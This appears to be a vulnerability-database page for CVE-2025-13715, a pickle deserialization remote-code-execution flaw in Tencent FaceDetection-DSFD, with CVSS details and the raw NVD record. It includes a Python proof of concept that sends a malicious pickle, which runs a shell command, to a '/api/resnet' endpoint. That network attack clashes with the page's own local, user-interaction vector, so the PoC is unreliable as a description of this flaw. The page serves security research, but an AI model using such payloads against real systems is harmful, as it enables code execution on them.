Security Vulnerability Report
中文
CVE-2025-13715 CVSS 7.8 HIGH

CVE-2025-13715

Published: 2025-12-23 22:15:46
Last Modified: 2026-04-15 00:35:42

Description

Tencent FaceDetection-DSFD resnet Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent FaceDetection-DSFD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the resnet endpoint. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27197.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tencent FaceDetection-DSFD < 修复版本
Tencent FaceDetection-DSFD 0.0.1 至最新版本(修复前)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13715 PoC - Malicious serialized payload for FaceDetection-DSFD # This PoC demonstrates the deserialization vulnerability in resnet endpoint import pickle import base64 import requests # Malicious class that executes code during unpickling class MaliciousPayload: def __reduce__(self): # This will execute the command when object is unpickled import os return (os.system, ('whoami > /tmp/pwned.txt',)) # Generate malicious serialized data def generate_malicious_payload(): payload = pickle.dumps(MaliciousPayload()) return base64.b64encode(payload).decode('utf-8') # Send exploit to vulnerable resnet endpoint def exploit_target(target_url): payload = generate_malicious_payload() # Construct the malicious request exploit_data = { 'model_input': payload, 'endpoint': 'resnet' } try: response = requests.post( f'{target_url}/api/resnet', json=exploit_data, timeout=10 ) print(f'Response status: {response.status_code}') return response.text except requests.exceptions.RequestException as e: print(f'Error: {e}') return None if __name__ == '__main__': target = 'http://target:8080' print('[*] Generating malicious payload...') exploit_target(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13715", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:46.323", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tencent FaceDetection-DSFD resnet Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent FaceDetection-DSFD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the resnet endpoint. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27197."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/Tencent/FaceDetection-DSFD/commit/a941d089d8ae2df5292a904e79d88649cb58a440", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1183/", "source": "[email protected]"}]}}